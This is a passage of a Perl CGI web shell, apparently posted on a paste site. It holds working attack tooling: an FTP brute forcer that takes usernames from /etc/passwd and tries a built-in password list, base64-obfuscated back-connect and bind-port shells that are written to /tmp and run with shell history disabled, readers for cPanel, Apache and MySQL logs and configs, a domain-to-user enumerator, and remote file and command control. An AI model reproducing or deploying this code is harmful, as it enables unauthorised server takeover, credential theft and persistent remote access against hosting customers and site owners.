  901. $result .= "</textarea>";
  902. $result .= "</form>";
  903. return $result;
  904. }
  905. #==============================================================================
  906. # File Open
  907. #==============================================================================
  908. sub FileOpen($){
  909. my $file = shift;
  910. my $binary = shift;
  911. my $result = "";
  912. my $n = "";
  913. if(-f $file){
  914. if(open(FILE,$file)){
  915. if($binary){
  916. binmode FILE;
  917. }
  918. while (($n = read FILE, $data, 1024) != 0) {
  919. $result .= $data;
  920. }
  921. close(FILE);
  922. }
  923. }else
  924. {
  925. return "Not's a File!";
  926. }
  927. return $result;
  928. }
  929. #==============================================================================
  930. # Save File
  931. #==============================================================================
  932. sub SaveFile($)
  933. {
  934. my $Data= shift ;
  935. my $File= shift;
  936. $File=$CurrentDir.$PathSep.$File;
  937. if(open(FILE, ">$File"))
  938. {
  939. binmode FILE;
  940. print FILE $Data;
  941. close FILE;
  942. return 1;
  943. }else
  944. {
  945. return 0;
  946. }
  947. }
  948. #------------------------------------------------------------------------------
  949. # Brute Forcer Form
  950. #------------------------------------------------------------------------------
  951. sub BruteForcerForm
  952. {
  953. my $result="";
  954. $result .= <<END;
  955.  
  956. <table>
  957.  
  958. <tr>
  959. <td colspan="2" align="center">
  960. ####################################<br>
  961. Simple FTP brute forcer<br>
  962. Note: Only scan from 1 to 3 user :-S<br>
  963. ####################################
  964. <form name="f" method="POST" action="$ScriptLocation">
  965.  
  966. <input type="hidden" name="a" value="bruteforcer"/>
  967. </td>
  968. </tr>
  969. <tr>
  970. <td>User:<br><textarea rows="18" cols="30" name="user">
  971. END
  972. chop($result .= `less /etc/passwd | cut -d: -f1`);
  973. $result .= <<'END';
  974. </textarea></td>
  975. <td>
  976.  
  977. Pass:<br>
  978. <textarea rows="18" cols="30" name="pass">123pass
  979. 123!@#
  980. 123admin
  981. 123abc
  982. 123456admin
  983. 1234554321
  984. 12344321
  985. pass123
  986. admin
  987. admincp
  988. administrator
  989. matkhau
  990. passadmin
  991. p@ssword
  992. p@ssw0rd
  993. password
  994. 123456
  995. 1234567
  996. 12345678
  997. 123456789
  998. 1234567890
  999. 111111
  1000. 000000
  1001. 222222
  1002. 333333
  1003. 444444
  1004. 555555
  1005. 666666
  1006. 777777
  1007. 888888
  1008. 999999
  1009. 123123
  1010. 234234
  1011. 345345
  1012. 456456
  1013. 567567
  1014. 678678
  1015. 789789
  1016. 123321
  1017. 456654
  1018. 654321
  1019. 7654321
  1020. 87654321
  1021. 987654321
  1022. 0987654321
  1023. admin123
  1024. admin123456
  1025. abcdef
  1026. abcabc
  1027. !@#!@#
  1028. !@#$%^
  1029. !@#$%^&*(
  1030. !@#$$#@!
  1031. abc123
  1032. anhyeuem
  1033. iloveyou</textarea>
  1034. </td>
  1035. </tr>
  1036. <tr>
  1037. <td colspan="2" align="center">
  1038. Sleep:<select name="sleep">
  1039.  
  1040. <option>0</option>
  1041. <option>1</option>
  1042. <option>2</option>
  1043.  
  1044. <option>3</option>
  1045. </select>
  1046. <input type="submit" class="submit" value="Brute Forcer"/></td></tr>
  1047. </form>
  1048. </table>
  1049. END
  1050. return $result;
  1051. }
  1052. #------------------------------------------------------------------------------
  1053. # Brute Forcer
  1054. #------------------------------------------------------------------------------
  1055. sub BruteForcer
  1056. {
  1057. my $result="";
  1058. $Server=$ENV{'SERVER_ADDR'};
  1059. if($in{'user'} eq "")
  1060. {
  1061. $result .= &BruteForcerForm;
  1062. }else
  1063. {
  1064. use Net::FTP;
  1065. @user= split(/\n/, $in{'user'});
  1066. @pass= split(/\n/, $in{'pass'});
  1067. chomp(@user);
  1068. chomp(@pass);
  1069. $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1070. foreach $username (@user)
  1071. {
  1072. if($username ne "")
  1073. {
  1074. foreach $password (@pass)
  1075. {
  1076. $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1077. if($ftp->login("$username","$password"))
  1078. {
  1079. $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1080. $ftp->quit();
  1081. break;
  1082. }
  1083. if($in{'sleep'} ne "0")
  1084. {
  1085. sleep(int($in{'sleep'}) * 1000);
  1086. }
  1087. $ftp->quit();
  1088. }
  1089. }
  1090. }
  1091. $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1092. }
  1093. return $result;
  1094. }
  1095. #------------------------------------------------------------------------------
  1096. # Backconnect Form
  1097. #------------------------------------------------------------------------------
  1098. sub BackBindForm
  1099. {
  1100. return <<END;
  1101. <br><br>
  1102.  
  1103. <table>
  1104. <tr>
  1105. <form name="f" method="POST" action="$ScriptLocation">
  1106. <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1107. <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1108. Port: <input type="text" size="6" name="clientport" value="80" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1109.  
  1110. <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
  1111. </form>
  1112. </tr>
  1113. <tr>
  1114. <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1115. <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a>
  1116. <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  1117.  
  1118. </tr>
  1119. </table>
  1120.  
  1121. <br><br>
  1122. <table>
  1123. <tr>
  1124. <form method="POST" action="$ScriptLocation">
  1125. <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1126.  
  1127. <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1128.  
  1129. Password: <input type="text" size="12" name="bindpass" value="vinakid"></td>
  1130. <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
  1131. </form>
  1132. </tr>
  1133. <tr>
  1134. <td colspan=3><font color=#FFFFFF>[+] Testing ....
  1135. <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  1136.  
  1137. </tr>
  1138. </table><br>
  1139. END
  1140. }
  1141. #------------------------------------------------------------------------------
  1142. # Backconnect use perl
  1143. #------------------------------------------------------------------------------
  1144. sub BackBind
  1145. {
  1146. use Socket;
  1147. $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  1148. $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1149.  
  1150. $ClientAddr = $in{'clientaddr'};
  1151. $ClientPort = int($in{'clientport'});
  1152. if($ClientPort eq 0)
  1153. {
  1154. return &BackBindForm;
  1155. }elsif(!$ClientAddr eq "")
  1156. {
  1157. $Data=decode_base64($backperl);
  1158. if(-w "/tmp/")
  1159. {
  1160. $File="/tmp/backconnect.pl";
  1161. }else
  1162. {
  1163. $File=$CurrentDir.$PathSep."backconnect.pl";
  1164. }
  1165. open(FILE, ">$File");
  1166. print FILE $Data;
  1167. close FILE;
  1168. system("perl $File $ClientAddr $ClientPort");
  1169. unlink($File);
  1170. exit 0;
  1171. }else
  1172. {
  1173. $Data=decode_base64($bindperl);
  1174. if(-w "/tmp")
  1175. {
  1176. $File="/tmp/bindport.pl";
  1177. }else
  1178. {
  1179. $File=$CurrentDir.$PathSep."bindport.pl";
  1180. }
  1181. open(FILE, ">$File");
  1182. print FILE $Data;
  1183. close FILE;
  1184. system("perl $File $ClientPort");
  1185. unlink($File);
  1186. exit 0;
  1187. }
  1188. }
  1189. #------------------------------------------------------------------------------
  1190. # Array List Directory
  1191. #------------------------------------------------------------------------------
  1192. sub RmDir($)
  1193. {
  1194. my $dir = shift;
  1195. if(opendir(DIR,$dir))
  1196. {
  1197. while($file = readdir(DIR))
  1198. {
  1199. if(($file ne ".") && ($file ne ".."))
  1200. {
  1201. $file= $dir.$PathSep.$file;
  1202. if(-d $file)
  1203. {
  1204. &RmDir($file);
  1205. }
  1206. else
  1207. {
  1208. unlink($file);
  1209. }
  1210. }
  1211. }
  1212. closedir(DIR);
  1213. }
  1214. }
  1215. sub FileOwner($)
  1216. {
  1217. my $file = shift;
  1218. if(-e $file)
  1219. {
  1220. ($uid,$gid) = (stat($file))[4,5];
  1221. if($WinNT)
  1222. {
  1223. return "???";
  1224. }
  1225. else
  1226. {
  1227. $name=getpwuid($uid);
  1228. $group=getgrgid($gid);
  1229. return $name."/".$group;
  1230. }
  1231. }
  1232. return "???";
  1233. }
  1234. sub ParentFolder($)
  1235. {
  1236. my $path = shift;
  1237. my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1238. chop($path = `$Comm`);
  1239. return $path;
  1240. }
  1241. sub FilePerms($)
  1242. {
  1243. my $file = shift;
  1244. my $ur = "-";
  1245. my $uw = "-";
  1246. if(-e $file)
  1247. {
  1248. if($WinNT)
  1249. {
  1250. if(-r $file){ $ur = "r"; }
  1251. if(-w $file){ $uw = "w"; }
  1252. return $ur . " / " . $uw;
  1253. }else
  1254. {
  1255. $mode=(stat($file))[2];
  1256. $result = sprintf("%04o", $mode & 07777);
  1257. return $result;
  1258. }
  1259. }
  1260. return "0000";
  1261. }
  1262. sub FileLastModified($)
  1263. {
  1264. my $file = shift;
  1265. if(-e $file)
  1266. {
  1267. ($la) = (stat($file))[9];
  1268. ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1269. $y = $y + 1900;
  1270. @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1271. $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1272. return $lmtime;
  1273. }
  1274. return "???";
  1275. }
  1276. sub FileSize($)
  1277. {
  1278. my $file = shift;
  1279. if(-f $file)
  1280. {
  1281. return -s "$file";
  1282. }
  1283. return "0";
  1284. }
  1285. sub ParseFileSize($)
  1286. {
  1287. my $size = shift;
  1288. if($size <= 1024)
  1289. {
  1290. return $size. " B";
  1291. }
  1292. else
  1293. {
  1294. if($size <= 1024*1024)
  1295. {
  1296. $size = sprintf("%.02f",$size / 1024);
  1297. return $size." KB";
  1298. }
  1299. else
  1300. {
  1301. $size = sprintf("%.2f",$size / 1024 / 1024);
  1302. return $size." MB";
  1303. }
  1304. }
  1305. }
  1306. sub trim($)
  1307. {
  1308. my $string = shift;
  1309. $string =~ s/^\s+//;
  1310. $string =~ s/\s+$//;
  1311. return $string;
  1312. }
  1313. sub AddSlashes($)
  1314. {
  1315. my $string = shift;
  1316. $string=~ s/\\/\\\\/g;
  1317. return $string;
  1318. }
  1319. sub TrimSlashes($)
  1320. {
  1321. my $string = shift;
  1322. $string=~ s/\/\//\//g;
  1323. $string=~ s/\\\\/\\/g;
  1324. return $string;
  1325. }
  1326. sub ListDir
  1327. {
  1328. my $path = &TrimSlashes($CurrentDir.$PathSep);
  1329. my $result = "<form name='f' onSubmit=\"Encoder('d')\" action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' id='d' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1330. if(-d $path)
  1331. {
  1332. my @fname = ();
  1333. my @dname = ();
  1334. if(opendir(DIR,$path))
  1335. {
  1336. while($file = readdir(DIR))
  1337. {
  1338. $f=$path.$file;
  1339. if(-d $f)
  1340. {
  1341. push(@dname,$file);
  1342. }
  1343. else
  1344. {
  1345. push(@fname,$file);
  1346. }
  1347. }
  1348. closedir(DIR);
  1349. }
  1350. @fname = sort { lc($a) cmp lc($b) } @fname;
  1351. @dname = sort { lc($a) cmp lc($b) } @dname;
  1352. $result .= "<div><table width='90%' class='listdir'>
  1353. <tr style='background-color: #3e3e3e'><th>File Name</th>
  1354. <th width='100'>File Size</th>
  1355. <th width='150'>Owner</th>
  1356. <th width='100'>Permission</th>
  1357. <th width='150'>Last Modified</th>
  1358. <th width='230'>Action</th></tr>";
  1359. my $style="notline";
  1360. my $i=0;
  1361. foreach my $d (@dname)
  1362. {
  1363. $style= ($style eq "line") ? "notline": "line";
  1364. $d = &trim($d);
  1365. $dirname=$d;
  1366. if($d eq "..")
  1367. {
  1368. $d = &ParentFolder($path);
  1369. }
  1370. elsif($d eq ".")
  1371. {
  1372. next;
  1373. }
  1374. else
  1375. {
  1376. $d = $path.$d;
  1377. }
  1378. $result .= "<tr class='$style'><td id='File_$i' class='dir'><a href='?a=gui&d=".&EncodeDir($d)."'>[ ".$dirname." ]</a></td>";
  1379. $result .= "<td>DIR</td>";
  1380. $result .= "<td>".&FileOwner($d)."</td>";
  1381. $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1382. $result .= "<td>".&FileLastModified($d)."</td>";
  1383. $result .= "<td><a onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."'); return false; \">Rename</a> | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$dirname'>Remove</a></td>";
  1384. $result .= "</tr>";
  1385. $i++;
  1386. }
  1387. foreach my $f (@fname)
  1388. {
  1389. $style= ($style eq "line") ? "notline": "line";
  1390. $file=$f;
  1391. $f = $path.$f;
  1392. my $action = encode_base64("edit ".$file);
  1393. $view = "?dir=".$path."&view=".$f;
  1394. $result .= "<tr class='$style'><td id='File_$i' class='file'><a href='?a=command&d=".&EncodeDir($path)."&c=".$action."'>".$file."</a></td>";
  1395. $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1396. $result .= "<td>".&FileOwner($f)."</td>";
  1397. $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1398. $result .= "<td>".&FileLastModified($f)."</td>";
  1399. $result .= "<td><a onclick=\"rename_form($i,'$file','f'); return false;\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$file'>Remove</a></td>";
  1400. $result .= "</tr>";
  1401. $i++;
  1402. }
  1403. $result .= "</table></div>";
  1404. }
  1405. return $result;
  1406. }
  1407. #------------------------------------------------------------------------------
  1408. # Try to View List User
  1409. #------------------------------------------------------------------------------
  1410. sub ViewDomainUser
  1411. {
  1412. open (d0mains, '/etc/named.conf') or $err=1;
  1413. my @cnzs = <d0mains>;
  1414. close d0mains;
  1415. my $style="line";
  1416. my $result="<h3><font style='font: 15pt Verdana;color: #ff9900;'>Domain + User</font></h3>";
  1417. if ($err)
  1418. {
  1419. $result .= ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1420. return $result;
  1421. }else
  1422. {
  1423. $result .= '<table id="domain"><tr><th>d0mains</th> <th>User</th></tr>';
  1424. }
  1425. foreach my $one (@cnzs)
  1426. {
  1427. if($one =~ m/.*?zone "(.*?)" {/)
  1428. {
  1429. $style= ($style eq "line") ? "notline": "line";
  1430. $filename= trim("/etc/valiases/".$1);
  1431. $owner = getpwuid((stat($filename))[4]);
  1432. $result .= '<tr style="$style" width=50%><td><a href="http://'.$1.'" target="_blank">'.$1.'</a></td><td> '.$owner.'</td></tr>';
  1433. }
  1434. }
  1435. $result .= '</table>';
  1436. return $result;
  1437. }
  1438. #------------------------------------------------------------------------------
  1439. # View Log
  1440. #------------------------------------------------------------------------------
  1441. sub ViewLog
  1442. {
  1443. $EncodeCurrentDir = EncodeDir($CurrentDir);
  1444. if($WinNT)
  1445. {
  1446. return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  1447. }
  1448. my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1449. my @pathlog=( '/usr/local/apache/logs/error_log',
  1450. '/usr/local/apache/logs/access_log',
  1451. '/usr/local/apache2/conf/httpd.conf',
  1452. '/var/log/httpd/error_log',
  1453. '/var/log/httpd/access_log',
  1454. '/usr/local/cpanel/logs/error_log',
  1455. '/usr/local/cpanel/logs/access_log',
  1456. '/usr/local/apache/logs/suphp_log',
  1457. '/usr/local/cpanel/logs',
  1458. '/usr/local/cpanel/logs/stats_log',
  1459. '/usr/local/cpanel/logs/access_log',
  1460. '/usr/local/cpanel/logs/error_log',
  1461. '/usr/local/cpanel/logs/license_log',
  1462. '/usr/local/cpanel/logs/login_log',
  1463. '/usr/local/cpanel/logs/stats_log',
  1464. '/var/cpanel/cpanel.config',
  1465. '/usr/local/php/lib/php.ini',
  1466. '/usr/local/php5/lib/php.ini',
  1467. '/var/log/mysql/mysql-bin.log',
  1468. '/var/log/mysql.log',
  1469. '/var/log/mysqlderror.log',
  1470. '/var/log/mysql/mysql.log',
  1471. '/var/log/mysql/mysql-slow.log',
  1472. '/var/mysql.log',
  1473. '/var/lib/mysql/my.cnf',
  1474. '/etc/mysql/my.cnf',
  1475. '/etc/my.cnf',
  1476. );
  1477. my $i=0;
  1478. my $perms;
  1479. my $sl;
  1480. foreach my $log (@pathlog)
  1481. {
  1482. if(-r $log)
  1483. {
  1484. $perms="OK";
  1485. }else
  1486. {
  1487. $perms="<font style='color: red;'>Cancel<font>";
  1488. }
  1489. $result .=<<END;
  1490. <tr>
  1491.  
  1492. <form action="" method="post" onSubmit="Encoder('log$i')">
  1493. <td><input type="text" id="log$i" name="c" value="tail -10000 $log | grep '/home'" size='50'/></td>
  1494. <td><input class="submit" type="submit" value="Try" /></td>
  1495. <input type="hidden" name="a" value="command" />
  1496. <input type="hidden" name="d" value="$EncodeCurrentDir" />
  1497. </form>
  1498. <td>$perms</td>
  1499.  
  1500. </tr>
  1501. END
  1502. $i++;
  1503. }
  1504. $result .="</table>";
  1505. return $result;
  1506. }
  1507. #------------------------------------------------------------------------------
  1508. # Main Program - Execution Starts Here
  1509. #------------------------------------------------------------------------------
  1510. &ReadParse;
  1511. &GetCookies;
  1512.  
  1513. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1514. $ServerName = $ENV{'SERVER_NAME'};
  1515. $LoginPassword = $in{'p'};
  1516. $RunCommand = decode_base64($in{'c'});
  1517. $TransferFile = $in{'f'};
  1518. $Options = $in{'o'};
  1519. $Action = $in{'a'};
  1520.  
  1521. $Action = "command" if($Action eq ""); # no action specified, use default
  1522.  
  1523. # get the directory in which the commands will be executed
  1524. $CurrentDir = &TrimSlashes(decode_base64(trim($in{'d'})));
  1525. # mac dinh xuat thong tin neu ko co lenh nao!
  1526. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1527. chomp($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1528.  
  1529. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1530.  
  1531. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  1532. {
  1533. &PerformLogin;
  1534. }elsif($Action eq "gui") # GUI directory
  1535. {
  1536. &PrintPageHeader("d");
  1537. if(!$WinNT)
  1538. {
  1539. $chmod=int($in{'chmod'});
  1540. if($chmod ne 0)
  1541. {
  1542. $chmod=int($in{'chmod'});
  1543. $file=$CurrentDir.$PathSep.$TransferFile;
  1544. if(chmod($chmod,$file))
  1545. {
  1546. print "<run> Done! </run><br>";
  1547. }else
  1548. {
  1549. print "<run> Sorry! You dont have permissions! </run><br>";
  1550. }
  1551. }
  1552. }
  1553. $rename=$in{'rename'};
  1554. if($rename ne "")
  1555. {
  1556. if(rename($TransferFile,$rename))
  1557. {
  1558. print "<run> Done! </run><br>";
  1559. }else
  1560. {
  1561. print "<run> Sorry! You dont have permissions! </run><br>";
  1562. }
  1563. }
  1564. $remove=$in{'remove'};
  1565. if($remove ne "")
  1566. {
  1567. $rm = $CurrentDir.$PathSep.$remove;
  1568. if(-d $rm)
  1569. {
  1570. &RmDir($rm);
  1571. }else
  1572. {
  1573. if(unlink($rm))
  1574. {
  1575. print "<run> Done! </run><br>";
  1576. }else
  1577. {
  1578. print "<run> Sorry! You dont have permissions! </run><br>";
  1579. }
  1580. }
  1581. }
  1582. print &ListDir;
  1583.  
  1584. }
  1585. elsif($Action eq "command") # user wants to run a command
  1586. {
  1587. &PrintPageHeader("c");
  1588. print &ExecuteCommand;
  1589. }
  1590. elsif($Action eq "save") # user wants to save a file
  1591. {
  1592. &PrintPageHeader;
  1593. if(&SaveFile($in{'data'},$in{'file'}))
  1594. {
  1595. print "<run> Done! </run><br>";
  1596. }else
  1597. {
  1598. print "<run> Sorry! You dont have permissions! </run><br>";
  1599. }
  1600. print &ListDir;
  1601. }elsif($Action eq "upload") # user wants to upload a file
  1602. {
  1603. &PrintPageHeader("c");
  1604. print &UploadFile;
  1605. }elsif($Action eq "backbind") # user wants to back connect or bind port
  1606. {
  1607. &PrintPageHeader("clientport");
  1608. print &BackBind;
  1609. }elsif($Action eq "bruteforcer") # user wants to brute force
  1610. {
  1611. &PrintPageHeader;
  1612. print &BruteForcer;
  1613. }elsif($Action eq "download") # user wants to download a file
  1614. {
  1615. print &DownloadFile;
  1616. }elsif($Action eq "checklog") # user wants to view log file
  1617. {
  1618. &PrintPageHeader;
  1619. print &ViewLog;
  1620.  
  1621. }elsif($Action eq "domainsuser") # user wants to view list user/domain
  1622. {
  1623. &PrintPageHeader;
  1624. print &ViewDomainUser;
  1625. }elsif($Action eq "logout") # user wants to logout
  1626. {
  1627. &PerformLogout;
  1628. }
  1629. &PrintPageFooter;
Add Comment
Please, Sign In to add comment